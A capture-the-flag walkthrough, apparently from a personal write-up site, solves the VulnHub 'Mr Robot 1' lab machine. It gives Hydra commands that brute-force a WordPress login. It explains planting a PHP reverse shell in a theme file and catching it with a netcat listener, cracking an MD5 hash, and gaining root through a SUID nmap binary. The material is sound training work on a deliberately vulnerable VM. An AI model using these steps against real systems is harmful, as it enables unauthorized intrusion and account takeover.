# Mr Robot 1

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FTmkRB2UR1Jn95Gic5lnF%2Fimage.png?alt=media&#x26;token=76b3d667-3a18-491e-a95b-d152bb65b4ff" alt=""><figcaption></figcaption></figure></div>

you can download the target machine from [here](https://www.vulnhub.com/entry/mr-robot-1,151/)

then after you download the `mrRobot.ova` file import it into either **virtualbox** or **vmware** for me i am using vmware

and then change the network settings for this machine and make it in the same network as your attack machine

i have set my attack kali machine to **`bridged`** and the IP Subnet is <mark style="color:blue;">**192.168.11.0/24**</mark> so i made the network settings for the target machine also to **`bridged`**

```bash
netdiscover -i <interface> -r <IP Subnet>
```

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F2m2yvU9sgVppr8wexGhK%2Fimage.png?alt=media&#x26;token=23a071d4-3d5b-4674-8e29-20dd89a70d28" alt=""><figcaption></figcaption></figure></div>

the Mr Robot1 machine IP for me is 192.168.11.107

## <mark style="color:red;">Enumeration</mark>

### <mark style="color:blue;">nmap</mark>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FCR45JlZ8XMGp0IdYjcpP%2Fimage.png?alt=media&#x26;token=4f558885-92b5-4096-9643-4aed8d5444a8" alt=""><figcaption></figcaption></figure></div>

so we have closed ssh port and an apache web server at port 80 and 443

### <mark style="color:blue;">web server enumeration</mark>

let view what endpoints we have at `/robots.txt` directory

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Fc9CCx0ZHeDOldMQMMS6w%2Fimage.png?alt=media&#x26;token=81da2e41-0173-49a2-be0b-bc7dc53d1f1a" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:blue;">First Key</mark>

so the first key is at the directory **`key-1-of-3.txt`** that we have found at /robots.txt directory&#x20;

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FH9eT09RX4OKHGkcfIa6A%2Fimage.png?alt=media&#x26;token=701e8633-9037-4c02-af59-ee88630e5658" alt=""><figcaption></figcaption></figure></div>

and now go to /fsociety.dic directory and a file called fsociety.dic is downloaded

```bash
┌──(root㉿kali)-[/home/kali/vulnhub/mrrobot1]
└─# head fsocity.dic     
true
false
wikia
from
the
now
Wikia
extensions
scss
window
```

this looks like a custom wordlist let's see how much words it contains

```bash
┌──(root㉿kali)-[/home/kali/vulnhub/mrrobot1]
└─# wc -l fsocity.dic 
858160 fsocity.dic
```

800k is a lot so let's remove duplicates

```bash
┌──(root㉿kali)-[/home/kali/vulnhub/mrrobot1]
└─# sort fsocity.dic | uniq > fsocity2.dic
```

If after we have removed the duplicates, we are left with a word list of \~11k words. Let’s save it for later.

```bash
┌──(root㉿kali)-[/home/kali/vulnhub/mrrobot1]
└─# wc -l fsocity2.dic                            
11451 fsocity2.dic
```

### <mark style="color:blue;">Web server scanning using Nikto</mark>&#x20;

```bash
┌──(root㉿kali)-[/home/kali/vulnhub/mrrobot1]
└─# nikto -host 192.168.11.107
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.11.107
+ Target Hostname:    192.168.11.107
+ Target Port:        80
+ Start Time:         2023-08-18 15:50:20 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://192.168.11.107/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /wordpresswp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ /wordpresswp-login.php: Wordpress login found
+ 7915 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time:           2023-08-18 16:00:20 (GMT-4) (600 seconds)
---------------------------------------------------------------------------
```

and the scanning found a wordpress login  page at **`/wp-login.php`**

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FxMqa5ugYMrYDo1z63gmm%2Fimage.png?alt=media&#x26;token=1d3ca281-75a0-4b97-af82-4cd195e6b605" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:blue;">Web server directory fuzzing</mark>

we can also find the wordpress login page by fuzzing the directories using gobuster or another similar tool like ffuf, dirbuster ...etc

```bash
gobuster dir -u http://192.168.11.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 301,404
```

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Fv7PAIRO1KXaFffzQDnQ7%2Fimage.png?alt=media&#x26;token=37fea49b-2c56-4ea1-bad1-9394c9bd5e1b" alt=""><figcaption></figcaption></figure></div>

so if we visit **`http://192.168.11.107/login`** we will be redirected to the wordpress login page

### <mark style="color:blue;">Bruteforcing Login Page using Hydra</mark>

if we enter invalid credentials it will say invalid username so we can enumerate valid usernames and when we find a valid one we can use it to find the valid password

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FqXUlfUtibzPvhHXryTGs%2Fimage.png?alt=media&#x26;token=b5b6db5f-2ed4-41ea-9820-6231a95e46fd" alt=""><figcaption></figcaption></figure></div>

intercept the request using burp (i used random credentials like admin:admin)

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FXbNcilPyuhQt8nFdxq8r%2Fimage.png?alt=media&#x26;token=bf7a911e-9c87-4b8b-9bf0-01121a12bbf8" alt=""><figcaption></figcaption></figure></div>

Now we know the parameters of the form, let’s use H**ydra** to brute force. Remember the fsociety dictionary file, this is going to come handy while using **Hydra**

```bash
hydra -L fsocity2.dic -p invalidpass 192.168.11.107 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'
```

Let’s break it down:

* **-L fsocity2** : Try all the usernames from the file fsocity.dic.uniq
* **-p invalidpass** : Use an unique password, it doesn’t matter (we’re only interested in the username for now)
* **192.168.11.107** : The IP of the machine we’re attacking
* **http-post-form** : What we’re trying to brute force, here a HTTP POST form
* **‘/wp-login.php:log=^USER^\&pwd=^PASS^\&wp-submit=Log+In:F=Invalid username’**
  * **/wp-login.php** : The path to where the form is located
  * **log=^USER^\&pwd=^PASS^\&wp-submit=Log+In** : The POST parameters to send. ^USER^ and ^PASS^ are placeholders that will be replaced with the actual values.
  * **F=Invalid username** : Consider an attempt as a failure (F) if the response contains the text *Invalid username*

as a result we will get 3 valid usernames

```bash
[80][http-post-form] host: 192.168.11.107   login: elliot   password: invalidpass
[80][http-post-form] host: 192.168.11.107   login: Elliot   password: invalidpass
[80][http-post-form] host: 192.168.11.107   login: ELLIOT   password: invalidpass
```

if we log in with one of those usernames and a random password we will get this

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FdXC7KL3SzGDaRLSoVNIy%2Fimage.png?alt=media&#x26;token=f5f9793c-d07c-4749-b2a9-2c7e5d02e0d0" alt=""><figcaption></figcaption></figure></div>

next let's enumerate the password for the user elliot using hydra

```bash
hydra -l elliot -P fsocity2.dic 192.168.11.107 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'
```

as a result we will find a valid password

```bash
[80][http-post-form] host: 192.168.11.107   login: elliot   password: ER28-0652
```

let's try now and login with **`elliot : ER28-0652`**

## <mark style="color:red;">Foothold as user daemon</mark>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FAqgjFQqlt5DJfuRMHp4u%2Fimage.png?alt=media&#x26;token=75fb1048-d0b8-45d7-a972-140b2ca7287a" alt=""><figcaption></figcaption></figure></div>

As you can see that we have gained access to the admin page of the WordPress site. We are not done yet as we need to get access to the server itself. For that, we get a reverse shell by uploading a reverse shell script.

I found a reverse shell script in PHP you can find it [here](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php), and edited it with my Host machine IP address and port that would be used for any incoming reverse connections.

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FSEppO2uS7IUC1j9JjhDK%2Fimage.png?alt=media&#x26;token=046e9d49-d6e9-4020-a837-3031465761d1" alt=""><figcaption></figcaption></figure></div>

now go to the dashboard in the left side menu click on **Appearance -> Editor**

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FRYshG0OiIrDkTfRi6voa%2Fimage.png?alt=media&#x26;token=0bed9497-c8ed-4941-8107-69f98d1a9fea" alt=""><figcaption></figcaption></figure></div>

now we will edit a php page and put our php reverse shell in it and then when we visit this page the php code will be executed and we will get a shell back

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Fb29SoxnJAA77SZ5mGDIl%2Fimage.png?alt=media&#x26;token=c9c343ee-4302-44b4-a1fb-608717052033" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F0abOXcF4QVinm4WI1DKx%2Fimage.png?alt=media&#x26;token=58610fd0-dff9-4418-90dd-aa301dbd93b8" alt=""><figcaption></figcaption></figure></div>

after pasting the rev shell code in the template make sure to save it by scrolling down to the end of the template code and you will find a button called <mark style="color:blue;">**update file**</mark>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F4YU650N0HhwCjkTCA0HT%2Fimage.png?alt=media&#x26;token=bc538f1e-bde6-488e-9bae-b23b6f552798" alt=""><figcaption></figcaption></figure></div>

after this we have to execute the php code by visiting the link : <mark style="color:orange;">**<http://192.168.11.07/404.php>**</mark>&#x20;

but before doing so we have to setup a listener

```bash
┌──(root㉿kali)-[/home/kali]
└─# nc -nvlp 4444
listening on [any] 4444 ...
```

now visit the link

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FbQeg3cAQ0m9EOB7YQzNb%2Fimage.png?alt=media&#x26;token=007ccc71-b7f2-4268-8d1b-1585a8a6a4e0" alt=""><figcaption></figcaption></figure></div>

and you should recieve a shell&#x20;

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FG7JhYbGmUKv0KGpjlUWs%2Fimage.png?alt=media&#x26;token=1765d5ea-9f2d-4251-9856-74e325f0ee10" alt=""><figcaption></figcaption></figure></div>

**upgrade shell**

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FN6UjqZLqbv3YLRKUIKhs%2Fimage.png?alt=media&#x26;token=042892e3-025e-4916-aa75-f7715fe8f79f" alt=""><figcaption></figcaption></figure></div>

## <mark style="color:red;">Lateral Movement -> from daemon to robot</mark>

let's go to the home directory and see which users are there

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F22sRYmPzAvswpWZw8cLj%2Fimage.png?alt=media&#x26;token=ba413837-ee87-4724-8651-086818490d65" alt=""><figcaption></figcaption></figure></div>

so there is only the user robot

if we look at his directory we will find 2 files the first is the second key which we don't have permissions to read and the second file is the password hash for the user robot

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Fey2WXE2JYpvDrAEnAM0E%2Fimage.png?alt=media&#x26;token=1e3fc601-33a0-4e12-b75f-0152f43473c3" alt=""><figcaption></figcaption></figure></div>

the hash type is MD5

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F5G8KMdqegzG6BFgPxnAA%2Fimage.png?alt=media&#x26;token=faaf4eae-19b1-46b1-86ad-b810da872ecc" alt=""><figcaption></figcaption></figure></div>

let's upload this file to an online service called [**crackstation**](https://crackstation.net/) to crack this MD5 hash

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FSY6E6ikrLCt2PyAktA6V%2Fimage.png?alt=media&#x26;token=46a71b70-4b91-4085-9bc7-e8ac8bbe78dd" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F77kfacubKuuuqgy8uUpX%2Fimage.png?alt=media&#x26;token=4df9bcc3-9562-491b-826e-1bc9fe06c213" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:blue;">Second Key</mark>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FKLKhN14rmDR5zXDXYE3v%2Fimage.png?alt=media&#x26;token=4e9ba4b9-802b-40ed-84d5-7bf2dda6b4d3" alt=""><figcaption></figcaption></figure></div>

## <mark style="color:red;">Privilege Escalation -> root</mark>

first let's do some enumeration using linpeas.sh&#x20;

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FdYUvA5BgQmFRaEWDewSo%2Fimage.png?alt=media&#x26;token=62c842ca-4b7b-4e8a-9cb6-35e4361aadd1" alt=""><figcaption></figcaption></figure></div>

listing all the SUID binaries in the machine, nmap binary stands out

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FjPgiNbfrdxMdwtWewS0G%2Fimage.png?alt=media&#x26;token=7f6d9d54-39fa-44c5-a91c-79fd9aec8d8a" alt=""><figcaption></figcaption></figure></div>

and the exploit is in gtfobins you can see it [here](https://gtfobins.github.io/gtfobins/nmap/#shell)

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FbXKiLK7rkOF1bQgR5Ixr%2Fimage.png?alt=media&#x26;token=363bf53d-69b2-4d58-93ee-d289ff5f7da4" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F0mCGtl9Vv81jPdtFsgDc%2Fimage.png?alt=media&#x26;token=73032167-05b4-4192-80d7-e3d7d1723613" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:blue;">Third Key</mark>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FmKWL6n2afYijJNWTYMRi%2Fimage.png?alt=media&#x26;token=d3140131-c0d1-4815-82d8-ef0542d08acb" alt=""><figcaption></figcaption></figure></div>

hope you found this walkthrough easy to understand and follow

Greeting From [<mark style="color:red;">**Sayonara**</mark>](https://github.com/ismail-arame)
